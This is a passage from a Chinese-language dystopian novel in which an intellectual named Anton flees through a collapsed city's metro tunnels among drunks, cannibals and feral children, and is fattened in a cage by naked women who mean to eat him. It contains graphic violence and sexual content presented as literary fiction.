“别嚷,”安东第一次环顾四周,奇怪的是,按理说在酒精的影响下他的感知应该迟钝,但相反,他现在异常敏锐地感知着周围的一切。

巨大的肮脏掩体,被垂直的柱子分成相互连通的区块壁龛,虽然不是人满为患,但考虑到它的总长度,大约有30个人在晃荡。每个隔间都有自己的生活:某处在骂人,某处在打架,某处在哭。有一次,弗朗克甚至从研究裸臀中抬起头,小跑到掩体的另一端,传来一阵骚动,一个保安立刻出现,蹒跚地走向被扰乱事件进程的地方,传来一声压抑的尖叫,弗朗克和保安很快把包裹在防水布里的什么东西运到了侧通道。

“啊……他们所有人!!!”安东想,从背包里拿出仔细包装好的包裹,放在桌子上,嘶哑地喊道:

“我们开喝!!!”


第三章

摘自政府在住宅区最终停止供水和供电前一天在电视上的声明

……没有任何真正理由严重担忧。
……临时措施……
……果断步骤……
……根本性变化……
……当然,谈论达到生物学最低标准还为时过早……

堤坝崩溃了,狂欢涌入掩体,扫荡路上的一切。闻到伏特加和食物味,一些稀奇古怪的脸飞了过来。弗朗克起初斜眼看着他们,但后来吐了口唾沫,明白喝醉的知识分子不会威胁到他体面场所的墙壁的圣洁。

“大概已经忘了饥饿愤怒的教师们一天之内改变了整个国民教育体系的游行,”安东喝干另一杯,心想。“部长当时起初成功溜掉了。但在郊外别墅被抓到,用脚踢回城里,在行政大楼的窗下用教科书当柴火烧死。警察那时已经完全转而保护当地权威,而进城部队暂时倾向于不干涉……”

“不,你是什么人?”一个胡子拉碴、完全堕落的男人用鼻音问,固执地用脏手指戳着安东的胸口。

“罗斯柴尔德,”安东忧郁地说,嚼着一块嫩的火腿罐头。

“犹太佬,明白了,”不修边幅的人出乎意料地平静下来,擦掉一滴吝啬的泪。“我,顺便说一句,曾是作家。人家叫我‘民族的希望’,而现在我是谁?”

“屎,”一个瘦小的肮脏小矮子无精打采地回答,大约二十分钟前他还在夸耀自己曾是妇科医生,同时用充血的眼睛斜眼看着马格达莱纳和另一个不知道什么时候加入他们公司的傻笑娼妓。他们桌子旁现在总共坐着六个人,包括安东。第六个,奇怪的是,是弗朗克,他坐不住,拿着他的《花花公子》。他几乎没喝——显然,他只是被这个团体吸引。

“在你……总之,‘之前’,你是什么人?”弗朗克问。

“我?”安东一瞬间想象了自己在“之前”实际上是什么人。“不知道。大概只是个人。”

咔嚓!

“那现在你是什么人?野兽吗?!”妇科医生嗤之以鼻。

“现在我是实验老鼠,在迷宫里跑。如果我搞错一个拐角……”

“而我,”前“民族的希望”插嘴说,“仍然感觉自己是个人,尤其当我喝醉的时候!”

为了证明自己的话,他又干了一杯,作为下酒菜,拍了拍马格达莱纳的背。

“你是粪便,”马格达莱纳厌恶地推开他,“你在那世是什么样,现在还是什么样。”

“‘那世’是什么意思?”妇科医生醉醺醺地咧嘴笑。“你们怎么,以为我们现在在地狱?”

“你以为在天堂?”马格达莱纳顶嘴。

安东饶有兴趣地看着他们。他们认为自己现在在地狱的想法,不知为何让他感动。那么,正常的生活毕竟在某处存在着。也许,就在附近,在……视野的边界。

“而男人们曾把我抱在怀里!”娼妓突然咯咯笑起来。“有一个人甚至答应娶我。他有一辆豪华奔驰。”她歇斯底里地抽噎。“当矿工们经过城市向南走时,他们把他烧死在了那辆奔驰里。”

“活该,”马格达莱纳龇牙咧嘴。“大概他那辆奔驰是用血换来的。”

“你懂什么男人,”被冒犯的娼妓反驳。“我,顺便说一句,以前是时装模特……”

“我教过数学,”马格达莱纳笑了笑,笑得安东脊背发凉。“当我们给部长施以火刑时,像你这样的人,我们用撬棍打断骨头……”

“闭嘴,母狗!!!”娼妓尖叫起来。

“好了,好了,别吵了,姑娘们,”妇科医生醉醺醺地说。“要不要我给你们做个体检……免费。”

“我们最好再喝一杯!”作家高兴地插嘴。

安东喝了。他看着他们,像在镜子里看到自己。有一次,在一本书里(那时书还在印刷和阅读),他遇到了“迷惘的一代”这个词。但那个遥远的作者不太可能想象,会出现一个“迷魂之国”而没有年龄限制。(然后迈了一步……咔嚓!突然他意识到,这次他又被骗了!咔嚓。他们的名字是军团!……)一个被挣脱锁链的僵尸填满的国家。老师会给官员们施以火刑,用撬棍打断时装模特的腿。银行家会被挂在公共场所的树上。矿工对大城市突袭的浪潮将像白蚁的入侵,摧毁路上的一切。知识分子会猎杀市民,比试射击技艺。自己的血和内脏将是最硬的通货。野化的青少年群体会“打倒”孤独的旅行者,并当场活吃他们。女性的身体将被视为美味佳肴……

安东赶紧喝了,因为他感到救命的醉意正在迅速消退。

“这一切发生是因为,”弗朗克平静的声音传到他耳中,“你们感到自己不被需要。而食物——是的!它一直在,也永远会在。”

“是啊,”妇科医生出乎意料清醒地说,“我的服务你个人不太可能需要。虽然……”

“你们就只知道吃和交配,”马格达莱纳顶嘴。

“我要你的数学有什么用?” “时装模特”立刻回应。

“那你就活在你应得的世界里,”马格达莱纳也不甘示弱。“你在这儿想对谁扭你的屁股?除非是对弗朗克:因为他掌握着食物。他在喝我们的血!”

“那从你们身上还能拿什么?”弗朗克真诚地惊讶。“而放你们中的任何一个在我的位置,至少是‘作家’,那么其他人很快就会开始饿死。而这样你们至少能得到‘生物学最低标准’……”

“也许,还是开枪自杀?”安东想。“顺便检验一下,这究竟是地狱,还是只是……可怜的假象”。


摘自政府声明

……断然驳斥……
……恶毒的阴谋和徒劳的影射……
……表面的缺点……
……理解当下的复杂性……
……在精神上分担重负……
……远离自然的生物学最低标准……

“你们到底认为什么是生物学最低标准?”马格达莱纳突然问,桌子四周一片压抑的寂静。

前妇科医生第一个回过神来:
“这个有争议的术语从何而来?”

“这不关你的事,”马格达莱纳顶嘴。“你总是从特定的角度看生活。”

“你们都是半路出家的直肠科医生!!!”妇科医生突然勃然大怒。

“好了,好了,” “民族的希望”说,“别吵了……”

安东喝了。现在他的生活不再显得那么特别、那么不恰当了。相反,给人的印象是,他正是朝着这种事态一直在走,目标明确且自愿。而且不止他一个人!但同时(在视野的边界某处!)有一种感觉,他还是被大大地欺骗了!好像他赌上了自己的生命,却只赢回一个用过的避孕套。

“空谈家!”弗朗克说。“反正你们给不出任何积极的东西。”

“我想生孩子!”马格达莱纳突然喊出来。

“现在?”妇科医生惊讶。

“闭嘴!”

“他们说得好像有个什么区域,那里一切都不同……”

安东喝了。

然后有一段空白。黑色而空虚,好像安东死了一段时间。

然后有什么东西不易察觉地变了。一种紧张感弥漫在空气中。

有一阵子,安东对一切的感知仍然模糊,好像从外面看,但……

……弗朗克像猎犬一样绷紧了,开始从桌边站起来……

……妇科医生用恐惧睁大的眼睛盯着安东背后的空间……

……时装模特张大了嘴,但尖叫声没有发出……

……“民族的希望”慢慢滑到桌下,蜷成一团,一个黑点在他周围蔓延开,弥漫着尿液的气味……

“快跑!”马格达莱纳嘶哑地喊,痉挛地拉着安东的袖子。

自动步枪扫射!

蜡烛被打翻!!!

双手自己从倾倒的桌子上抓起喝剩的瓶子。灯灭了。

一个女人的尖叫宣告,地狱里开始了换班。


第四章

“我不能再跑了!”安东嘶哑地说,脸朝下倒在一个软烂的粪堆里。

“站起来!!!”马格达莱纳像蛇一样嘶嘶。“站起来!!!你这个阳痿的混蛋!!!”

“我想自杀……”

“我告诉你,你会站起来!你会站起来!!!否则我自己毙了你!……”

“你前后矛盾。对一个活腻了的人,用枪威胁是没意义的。”

“狗屁哲学家!你还敢跟我争论!我现在就把你所有男人的东西打掉,把你留在这堆粪里等死。那时你才会知道什么是生物学最低标准!!!”

“好吧,”安东站起来,平静地说。“你赢了。”

他举起瓶子喝了一口,感到第二口气来了,这实际上可能是第一百五十口气。

“你想喝吗?”他和解地说,把瓶子递给马格达莱纳。

“给我。”

马格达莱纳把嘴唇凑到瓶子上,她瘦弱的身体颤抖着,吸收着又一份酒精,它在这个世界上充当着长生不老药。

“弗朗克大概完了,”安东说,试图至少稍微整理一下衣服。

“弗朗克在我活着的这些年里已经是第三个老板了,”马格达莱纳嘶哑地说,把瓶子还给安东,“这地方太油水了……但我们可以在骚乱平息后回去。他们不会碰我们的。”

“回去……”安东像回声一样回应,“为什么?”

“不知道。”

安东扯下被弄脏的外套,扔到一边。

“抱抱我,”马格达莱纳牙齿打颤地低声说。

“我大概不行,”安东说。

“不需要……就抱抱我。”

“你的心像只困鸟。”

“你的像只垂死的麻雀……”

“我最近喝太多了。还想再喝一口吗?”

“给我。”

“天哪,这还不是地狱吗?”

“不。这只是炼狱。那些通过考验的人,等待他们的是天堂。视野边界之外的世界。”

“你怎么知道?……”安东不由自主地警觉起来。

“我知道很多。最近通过我生活的男人太多了,有时我觉得我活了不止一世,而是几百、几千世……我是一个身体和灵魂都干瘪的老太婆,舌头恶毒。”

“你的身体很美。”

“你在撒谎……”

“我没撒谎。”

“你在撒谎。我也在撒谎。周围所有人都在撒谎!现实也在撒谎!!!实际上一切都比看起来更可怕……”

“那视野边界的世界呢?”

“也许它根本不存在?”

“不,存在!”

“傻瓜。抱抱我。抱紧点。我就是视野边界的世界。”

“我大概不行……”

“别说话!”

“我……”

“别说话!”

……然后他们做爱。疯狂地,好像想向整个世界证明他们还活着。首先向自己证明。


第五章

灾难慢慢逼近。似乎这个国家将永远坠入这个深渊。而在所有人不知不觉中,那条使生活彻底变成活地狱的边界被完全悄无声息地越过了。被逼到绝境的人们的自发性示威,突然毫无道理地采取了赤裸裸的无动机的破坏形式。警察完全瓦解,只往普遍疯狂的火上浇油。

最初,奇怪的是,银行仍然是某种堡垒。它们瞬间改变了外观和整体形象——变成了中世纪的城堡,设计用于长期围困。

对市民来说,最大的乐趣莫过于用倒下的树木和各种垃圾封锁街道——让一辆豪华奔驰或沃尔沃停下来,在废弃的路灯上吊起几个保养得很好的银行职员。

说来矛盾,但大多数情况下,自发人群的驱动力是彻底疯狂的智力分子。

外部经济援助的尝试为时已晚。所有载有人道主义援助的车队在远处就被无情地抢劫,大部分援助物资就这么死了,被踩进泥里。用军队控制局势的可悲努力也没有带来任何结果。疯狂浪潮成倍增长,扫荡了路上的一切。

将人与动物隔开的那道臭名昭著的屏障被越过了,而屏障后面不是野兽,而是一个可怕的怪物,体现了一切否定人性的本质。

“你现在怎么样?”马格达莱纳轻声问,尽量不看安东。

“不知道。”

“也许回去吧?那里大概已经平息了。”

“不!我不能永远待在地下。而你……你走吧。”

“你想让我……留在你身边吗?”

“不,”安东摇摇头,“我不希望你成为某个人的美食。”

“你觉得这样的生活更好?”

“我尽量不想。”

“成功了吗?”

“没有。”

“也许我们还会再见?”

“也许。”

“我走了?……”

安东不想拖延告别,沉默着,马格达莱纳没等到回答,佝偻着身子,沿着隧道走去。但后来,仿佛用后背感觉到男人的目光,她挺直了肩膀,扭着瘦削的屁股走了。

一次也没回头,她消失在最近的拐角处。

安东又站了一会儿,然后慢慢地向相反方向走去。

现在他通往光明的路要经过这样一个在遥远的“正常”生活中如此平庸、但如今变得如此难以理解和神秘的领土。一个日益增长的“未知之地”!最近进入这里的人,没有一个人回来……


摘自在地铁最终关闭前张贴在地铁入口墙上的公告

对于试图在地铁关闭后留在地铁区域的乘客,管理部门不承担其生命安全的责任。

……在隧道中被发现的不明身份者将被无情地灭活……


当自动扶梯停止工作后,城市当局终于决定封锁地铁站的自由进入,但像往常一样,为时已晚。

地铁已经在过着它自己无法理解的、非理性的生活。用军队清理它的尝试遇到了绝望的抵抗。给人的印象是,控制地铁的人们有机地融入了地下结构,而士兵是几乎被结构本身排斥的外部力量。

大规模搜捕和突袭、火焰喷射器和狡猾的诡雷地雷都无法纠正这一事态。地铁开始了自己独立的、完全不受控制的生活。

它阴森的深处开始让人想起著名的代达罗斯迷宫,在每个拐角处,都有一个新的弥诺陶洛斯在等待着陌生人。

关于现在的地铁流传着许多相互矛盾的谣言,一个比一个可怕。说它的深处游荡着一个赤身裸体的巨大女人,与一切会动的东西交配,然后吃掉所有与之交配的。说地下已经产生了特定的后代:聋哑盲的婴儿(以人体热量为导向),四肢都有吸盘。据说它们像蝙蝠一样挂在隧道天花板下,一察觉到猎物,就扑到受害者头上,通过额窦钻入大脑,然后用尖尖的牙齿划开腹膜,舒适地安顿在尚未冷却的内脏中,进入冬眠,消化吃掉的东西。此外,据说地下传播着前所未有的微生物和微型动物群。据说被地下虱子咬了的人不仅会失去理性,还会失去人的外貌。在特别严重的情况下,受害者会试图吃掉自己,幸存者会变得如此丑陋,以至于无法认出他们是人类。因此,例如,一个从一个站流浪到另一个站的普通疯子群落,已经不会引起任何人的战栗。

但安东不在乎这些。

他觉得自己是一个可怕实验的参与者。像任何实验动物一样,他对实验者的目标不感兴趣。

他剩下的唯一东西就是逃跑。因为只要他在跑,他就在活。更确切地说,在存在。但一旦中断这令人疲惫的奔跑——黑暗……

安东在完全黑暗中移动的下水道管道是曲折而滑溜的。安东摔倒又爬起来,但不停地向前走。背包和空瓶子他早就丢了,就像他失去了时间和空间定向一样。有时他开始觉得,他是一块没消化好的食物,被无情地推向自然出口。有时他完全失去现实感,痉挛地在布满污物的地板上蠕动。

只有一件事让他保持在水面之上。

视野边界的世界。


第六章

安东很清楚,地铁区域是禁区,也就是说,踏入这里后,必须努力记住所有诫命……然后祈祷。这可能是进入视野边界世界之前的最后行动。奇怪的是,安东确信,正是地铁的迷宫会把他带向光明。

有一瞬间,他完全脱离了现实,当他醒来时,发现自己躺在一个光线微弱的地方,脸贴在冰冷的铁轨上。前面,几乎完全挡住了通道,孤零零地停着一节车厢,从那里传来人声。

“……应该加点盐。”

“没事……主要是别烤过头。”

“有人不想拐弯!我就说了,他们可以徒手抓。”

“那是因为今天他们喝饱了。”

“你是说因为昨天开始迁徙?”

“是啊!否则我们早就人数不够了……”

“你,与其废话,不如翻一下,不然要糊了。闻到焦味了,开始滋滋响了。”

“它总是滋滋响,因为前天喝足了血……”

安东爬近些,他脑子还不清楚,对话的要点没抓住。

“听着,好像有动静……”

“你别分心,是烤叉上的肉在动。你转啊,别打瞌睡!”

安东站起来,往车厢窗户里看。地板上燃着一堆火。周围的长凳上坐着阴沉的长满胡子的男人。而火上方的烤叉上……安东勉强忍住了呕吐的冲动。看来关于地铁的传说并非空穴来风。然后安东看清楚了那堆在火上烤的东西的一小摞。

不,那不是人类婴儿,至少不是字面意义上的。那摞东西里伸出像蝙蝠一样的皮革翅膀。一些带吸盘的触手……最重要的是,那根本不是一摞,而是一个……单一有机体。

安东不由得后退,着迷地盯着从那些怪异器官的机器里探出的一张小孩子的脸。

“听着,真的有人在鬼鬼祟祟……还在呼吸!!!”所有的男人同时转向安东,他惊恐地看到,透过垂到下巴的油腻头发,盲目的白翳正恶狠狠地盯着他。

“真的……在呼吸。”

“喂,兄弟们,别坐着了!!!”男人们跳起来,惊人地轻松在空间中定位,直接冲向安东,伸出肮脏的、有疙瘩的手指,顶端是可怕弯曲的爪子。

安东没有去试探命运,他突然生动地想象,在盲人们贪婪欢欣的评论下,烤叉如何刺进他的屁股,然后他被庄严地架在火上。他像蜥蜴一样沿着车厢滑行,冲向前方,被从火里传来的烧焦肉的气味波驱赶着……

救了他的只有一点:食人族们显然不愿拿现有的晚餐去换一个假设的晚餐……

……安东跑着,直到他的身体还能移动双腿,右,左,右,左……

然后一片空白……

……在某个时刻,安东意识到自己又躺在地上,鼻子无力地贴在铁轨上。

螺旋的一圈完成了。安东现在是更接近起点一圈了?!

“奇怪,”安东想,“以前我从未有过如此惊人的想法。直到此刻之前,我一直生活在具体中:是-否!谁之过?……而这里……试图在完全荒谬的前提上构建一个奇怪的世界。仿佛之前的一切都有什么意义。仿佛现实不是存在于此刻的东西,而是一系列环境,允许对时空连续体的元素进行层级系统化,以便……”

安东再次失去意识。更准确地说,意识再次殷勤地离开了理性,仁慈地让他自己在全胜的荒谬之网中挣扎……

这一现实的具体性。其构成的所有元素是否都从属于它,且只从属于它?难道不会发生,从和谐的世界模型中掉出的一些元素,实际上是从另一种现实中引入的?也许,试图专注于这些元素,并确定它们的和谐补充,我们会召唤出完全不同的现实。在基本参数上与原初相悖的现实……

……视野边界的世界……

……城市……

……特异区……

安东醒了。他似乎在说胡话。或者相反?如果周围的世界看起来很荒谬,也许恰恰是清醒感知它的状态才是胡言乱语。而逃避现实实际上正是通往现实。这个潮湿发霉的地下是真实的吗?它上面垂死城市的生活是真实的吗?他自己是真实的吗?

“好了,我终于找到你了……”这句话使安东从自我凝视中抬起头来,手自动滑进口袋,本能地抓住手枪的握把,像抓住救生圈。

弹轮里七发。还有一发……


第七章

摘自撒在城市街头的政府传单

尽管危机加剧且个别破坏性分子有所行动,但城市中所有重要进程仍处于控制之下。例如,在金融领域,由于跨国公司“Blood-cool”的支持,甚至得以引入定期支付津贴、养老金等。诚然,发放标准不得不有所降低。目前,平均每位居民每月的定量为:面包2公斤,饮用水10升……

安东对所看到的感到非常震惊,甚至能够克服过去几个月养成的条件反射:对背后突然响起的声音开枪(又一个……神枪手!)。

在他上方站着的正是“民族的希望”。

“我在找您,”前作家开始喋喋不休,尽管他处于空间中的位置,却试图从下往上看着安东的眼睛。“您那么匆忙地离开了我们……”

安东站起来,阴沉地低头看着局促不安的作家:
“您怎么找到我的?”

“当枪声停止时,”作家急促地说,“我就跟着您去了……后来我遇到了马格达莱纳……总的来说,有一次我们被带去参观地铁……让创作知识分子了解大众的生活……还有……您知道,我有一种非凡的生存能力……我会对您有用的……我有极其敏感的神经系统……我能在时空里预感到麻烦……而您是个果断的人……”

“我果断?!”安东惊讶了。他从来没想过从这方面看自己。相反,他觉得自己如此软弱和麻木,以至于尽量不把自己的注意力集中在这些性格品质上。

“好吧,”安东打断他对手的胡言乱语。“您知不知道,据说这里有一个地方,藏着我们以前统治精英?”

“当然,当然……总之,有一个这样的传说……”

“别转弯抹角!您知道怎么去那里吗?”

“如果我知道,我早就去那里了……但是……”

安东抓住作家的衣领,把他拉近自己:
“你想跟我玩文字捉迷藏?智力娱乐?!我会把你收拾得比那些车厢里的人还惨……”

“您也看到了?”前作家喃喃道。“真是恶心的景象,对吧?”

“你这鼻涕虫,也不比他们好,”安东想,松开手。“不过,我们都……”

“好吧,”他出声和解地说。“您觉得,我们能进那个所谓的掩体之城吗?”

“我正要说的!!!凭我的嗅觉和您的……综合能力……”

安东自己也不知道他是什么时候产生这个疯狂的念头的。但突然,关于上面流传的传说中的掩体之城,与更加传说中的视野边界之国结合了起来。也许,它们对观察者而言具有客观的共性:看起来,它们就在这里,伸手可及,但两者立刻从指缝间溜走。像时间本身一样……


摘自在社会制度最终从内部爆炸之前很久的电台官方声明

个别不负责任的分子顽固地传播谣言,说在地铁线路下方正在疯狂地建造某个传说中的迷宫。

一些不诚实的记者声称,他们掌握着关于某个代号“蚁巢”的项目的资助的某些“文件”。

而将一位记者的失踪与……

我们郑重声明,这是诽谤。他们没有任何文件,也不可能有……

有趣,病人在什么时候意识到自己生病了。因为在此之前,他感觉好极了……即使已经变成了带菌者。在他内部,一个恶魔般的火不可避免地点燃,而他,像一只被咬掉头的恐龙,不停地向前走,机械地将流血的无头脖子浸入水池中,希望能抓到……

……溜走的现实?

“我劝您不要拐到那里去,”前文抄公气喘吁吁地低声说,在另一个岔路口勉强追上安东。

“为什么?”安东固执地问。

“那里……我感觉到……这些……嗯,疯子,一句话……”

“您认为自己正常?”安东忍不住哼了一声。

“不是这个……好吧,您自己完全明白……”

“胡说。如果他们是真正的疯子,我们的位置就在他们中间。”

“随您便,”前作家顺从了。“但我警告过您。而且……我洗手不干了。”

“您如果愿意,可以别跟我去……”

“当然不!您去哪里,我也去哪里!!!”前文抄公热情地喊道,安东不由自主地打了个寒颤:这难道是他人生事业的顶峰?有这样一个旅伴——但丁死了也会羡慕得哭的。

“那就别拖泥带水了,”安东转身背对作家,果断地走进从主河道分出的那条阴暗的支路,通往……

“天哪!也许这只是宿醉的梦?它什么时候结束?它什么时候开始的?”安东走着,感到他的意识在分裂。他现在可以同时……

……惊讶于通道里并不是完全的黑暗;不知道是墙壁涂了某种荧光垃圾,还是安东的眼睛适应了……

……听到背后作家奋力的喘息声……

……痛苦地试图看清自己:他到底在哪里:在地铁的迷宫里,还是躺在半空的房间里……

……看到被煤尘覆盖的人群,疯狂地摧毁他们路上的一切……

……感觉到融化的塑料从天花板滴到赤裸的、无力地伸展在地板上的身体上……

……窒息于烧焦肉的恶臭……

……听到模特长腿下骨头碎裂的声音,在年轻女教师手里笨拙地握着的撬棍下……

……与一个被绞死的银行家交谈关于存在细微差别的可知性……

……漠然地观察他自己的血液流经管子,流入巨大的储罐,像通常储存汽油的那种……

“您听到了吗?!他们在那里!!!”

安东像溺水者一样,慢慢地浮上存在的表面,惊讶地看着前作家因恐惧而扭曲的脸。

“什么?”他问。“您说什么?”

尽管他自己也已经清楚地听到了让他的同伴心惊胆战的声音。

从隧道拐角处清晰地传来某人无忧无虑、真诚而爽朗的……笑声。而这笑声,即使是对安东这样迟钝、情感上早已半死不活的人,也不禁使他的脊背发凉……


第八章

谁能肯定地说,他早已牢固地不在自己的理智之中?周围的现实不是他狂热想象力的果实,而是最最的现实,围绕你的那些奇特的形象真的只是短暂的幽灵(而不是相反?!),我们通过聚焦视线,可以轻松而不费力地回到我们的原始时间,它会张开双臂欢迎我们,并且不问多余的问题……

无尽的隧道,周围没有一丝光,黑暗中的呻吟和疯狂的笑声。作家去了哪里,他自己在哪里,他是谁?安东失去了时间概念,更不用说空间定向了。像动物一样,他在完全黑暗中纯粹本能地找到路,饥饿感让位于恐惧感,也是动物的,本能的。这里顾不上哲学,也顾不上情节。反思的知识分子不知不觉地被野兽推开了,野兽感觉到他被赶去屠宰场。

然后他倒下,爬了一段时间。他当时所处的状态类似于谵妄,但大概与顿悟接壤。一会儿他觉得他是在奇怪而混乱的迷宫中游荡,墙壁柔韧温暖,摸上去粘滑,仿佛是活的;一会儿觉得他哪儿也没去,而是躺在地上,脸贴在用过的卫生巾上。有时他甚至觉得他在家里,在他自己的普通世界里,只是整个城市同时停电了……

在某个时刻,他意识到自己在一个巨大的大厅里,其真实尺寸只能猜测。唯一可怜的亮光从黑暗中抓出一张奇怪的床,床上一个男性生殖器过度肥大的人正准备占有一个美丽的白皮肤女人。整张床上沾满了血……一声狂野的尖叫!安东始终没弄明白,是床上那个男人叫的,还是他自己叫的。女人不自然地弯曲,把闪亮的身体沾满血,灯光灭了。又一声撕心裂肺的嚎叫。安东又开始跑,在奔跑中失去了理智的残余……

……戈德伯格从一个模糊的被注视的感觉中醒来。他睁开眼睛,几乎惊讶于黑暗被昏暗的光所取代。

安东无助地眨了眨眼:光没有消失。戈德伯格用力试图集中注意力和定位。此刻,他身处一个有着黑色湿滑墙壁的房间,墙壁上布满了某种通道的圆孔。

感觉他像是在一个巨大的胃里;也许他的探索不由自主地引向了宇宙的基础,也就是那条鲸鱼的肚子里,它的背上是那些大象,它们……嗯,等等。

一个(也许是8岁的)男孩(或者女孩)正不眨眼地看着安东,他坐在肮脏的地板上,忧郁地嚼着面包,直接从一大条上咬下来。

“给我一块面包,”安东嘶哑地说,感到胃部再次抽筋。

男孩无视了请求,继续用同样茫然的表情嚼着。

“给我面包!”戈德伯格吼道。

男孩颤抖了一下,开始更快地嚼。

戈德伯格集中所有力量跳了起来。男孩尖叫起来,但戈德伯格不理他,双手抓住面包,开始……吃。就是吃,噎着,咳嗽着,不知为何还哭着。

男孩手里只剩下两个面包头,他在鼻子前转了转面包头,然后扔到一边,发出一声尖叫。

戈德伯格在填满胃,他现在什么也不会反应,即使大地在他脚下裂开。

但这时他听到了脚步声——许多脚的脚步声。还没意识到发生了什么,把最后几块塞进嘴里,戈德伯格转动着头。从通向大厅的所有洞口,都能听到有节奏的脚步声,汇成一个平稳的轰鸣,类似于冲浪的声音。

戈德伯格突然被恐惧刺穿,不知为何他脑中浮现出电动绞肉机的形象,一个人体被卷进其无情的叶片。他甚至清晰地听到骨头磨碎的声音,但没马上明白这声音来自男孩。

同样不离开瘦弱的屁股坐在地板上,像侏儒般的家伙,不眨眼地看着戈德伯格,然后……发出咯吱声。

安东没马上明白这小鬼在笑。


第九章

当然,如果从侧面看这些事件,一个合理的问题是:像安东·戈德伯格这样的人,显然患有在我们这个时代看来过多的智力主义,怎么会突然变成一个普通的困兽?

戈德伯格开始东奔西跑,然后动物本能再次起作用,他向其中一个似乎安静的通道跑去。当离救命的通道只有几步之遥时,从四面八方涌进大厅……男孩们。肮脏、衣衫褴褛、眼神疯狂而恶意、双手结着痂、武装着谁有什么:谁有喷漆罐、谁在头顶上转着电脑键盘(拿着连接线)、谁挥舞着桌椅的古老腿、谁有着安东完全无法理解的物品。

“会压死我的!!!”戈德伯格恐惧地想,加倍了能量,他 literally 飞进通道,意识到自己上当了——几步之后,通道急剧加宽,但以一个死胡同告终,只有天花板高处有一个洞口,安东当然可以挤进去,但要沿着湿滑的墙爬上去,想都别想。

而疯狂的追捕者已经非常近了。安东筋疲力尽地靠在墙上,但立刻缩回了手。墙摸上去粘滑。

安东看着沾满黑色东西的手指,颤抖了一下。那是血。

突然,从天花板上的洞里伸出一只纤细的、白净的手,一条绳梯像蛇一样流了下来。同时,在通道的另一端出现了一群疯狂的“孩子”,完全失去了人的外貌。

安东毫不犹豫地开始爬上梯子。在钻入洞口之前,戈德伯格向下看了一眼,动物般的感情再次攫住了他,尖叫着、跳着,下面疯狂着一群人……甚至不是野兽!而是一些童话中的复仇女神,流着口水,胡乱地挥舞着手脚,甚至因愤怒而尿裤。空气因歇斯底里的音符而震动,在这首被欺骗的希望之歌中,这些疯狂的热爱在痛苦中颤抖的温热肉体的爱好者,发出了非人的忧郁……仿佛未完成的放血可以解除对这些地狱后裔的诅咒。

戈德伯格再次呕吐,直接吐在小恶魔们的头上,然后钻进洞里,再次失去了意识。


第十章

戈德伯格被一股无法忍受的现成食物的气味惊醒。当他好不容易睁开几乎长在一起的眼皮时,首先映入眼帘的是一碗装得满满的各种食物。戈德伯格忘记了世上的一切,扑向碗,开始急忙把大块大块热腾腾的东西塞进嘴里。噎着,颤抖着,好像每一块都带了电。

当碗半空,戈德伯格甜蜜地打了个嗝,终于把目光从上面移开时,他发现他不是一个人。几乎就在两步远的地方,站着大约十五个完全赤裸的女人,嫌恶地打量着他。最右边那个他以前见过——在隧道里,和那个交配时大喊大叫的巨人在一起。尽管与女人们不同,安东穿着衣服,他突然感到羞愧。

“嗨,”他嘶哑地说,把碗从自己身边推开。

女人们沉默着。

戈德伯格站起来,向前迈了一步,但突然撞上一个栅栏,他起初在半暗中没有注意到。天哪,他们像关野兽一样被关在笼子里!戈德伯格试图微笑,向女人们友好地挥了挥手。

同样沉默地,所有女人同时转身……离开了。

这时戈德伯格才明白,笼子里的不是她们,恰恰相反——是他,安东·戈德伯格!


他的手表被拿走了。同时拿走的还有皮带和鞋带,安东不系领带,否则也会被拿走。总之,像在任何监狱里一样。但给他吃的是催肥的!一天三次,一个赤裸的身影端着一个碗出现在他的笼子前。她把碗通过地板上方网子的窄缝伸进去,同样沉默地拿走空餐具和满的便盆。由于这里永远是同样均匀的半明半暗,戈德伯格决定就按这三次喂食来计时,尽管他明白这是约定俗成的,因为可能一天喂他六次。

不管怎样,根据他的计算,他已经在这里待了三个星期。

最常走到他笼子前的是他第一次在这个奇怪的地下室里遇到的那个女人,但无论戈德伯格如何努力与她建立任何联系,所有努力都遭遇了惨败。有时安东觉得她完全是聋哑人。

日子一天天过去,戈德伯格吃胖了,休息了。然后休息让他厌倦了,但所有逃出去的尝试都是徒劳。他平静下来,变懒了,变迟钝了。他现在只做一件事:吃、睡、再吃。到第四周结束时,他感到自己变得如此迟钝,以至于开始忘记个别的词语。反过来,如果他记得某个词,他常常已不记得它的意思。

现在他完全不在乎视野边界后面可能隐藏着什么。

他唯一缺少的完美幸福就是女人。


第十一章

“明天是你的日子。”

这是赤裸的美女说的第一句话。不过,对吃胖了的戈德伯格来说,任何裸体女人看起来都很美。

“‘我的日子’是什么意思?”戈德伯格温和地问。他吃饱了,心满意足,而贫乏的词汇量完全不妨碍对话的进行。

然后,一声狂野、绝望的尖叫撕裂了地下的寂静。是一个男人在叫,而戈德伯格之前只见过女人。他甚至形成了一个理论:他被亚马逊人俘虏了,她们把他当作唯一的男性样本,精心照料他。

尖叫变成了令人血液凝固的尖叫,然后被临终的嘶哑声淹没。

“明天是你的日子,”裸体女人重复了一遍,笑了笑,然后慢慢离开,挑衅地扭着屁股。

“天哪,”戈德伯格因不由自主的顿悟而僵住,“她们把我养肥,就是为了吃掉我。就像现在她们要吃这个……刚才尖叫的人,就像她吃了那个……第一个,连同他那过度肥大的生殖器。我还以为是他袭击了她。而她……她就像……一朵花……捕食者。这一切只是为了引诱下一个受害者。难怪她们都不像饿肚子……”

跑!立刻跑!!!

戈德伯格在笼子里乱窜,又一次徒劳地试图钻进送饭的缝隙……徒劳。然后他坐在笼子中央,嚎叫起来。奇迹!十几把男人的声音用不和谐的大合唱回答了他。


他们被脱得精光,在所有可能的地方剃了毛。整个过程如此可怕,以至于三个男人似乎陷入了木僵,顺从地把最私密的部位暴露在锋利的刀下。

戈德伯格不由自主地又想起了那个生殖器过度肥大的男人。现在他觉得那个人就是他自己,这一切他都经历过一次……非常非常久以前。

他们被带过一条长长的昏暗走廊。去哪里?最重要的是,为什么?戈德伯格突然不由自主地想,这条走廊象征着生活本身,同样在昏暗中有数百个影子向未知的方向和目的徘徊,将自己的思想集中在生殖器上,驱赶着不由自主的怀疑。现在他过去的生活显得遥远而不真实,像永远逝去的童年。不,他没有准备好迎接死亡。太多的事情没有实现,仅仅形成在萌芽状态。

“你必须跑!”

戈德伯格没马上明白,这句话,像叠句一样在他脑中回响,不是他说的,而是那个赤裸的女人,她最常出现在他的笼子旁,现在他不能不同意她。

他们被带进一个宽敞的昏暗大厅——戈德伯格始终没搞清照明源在哪里——并被命令跪下。

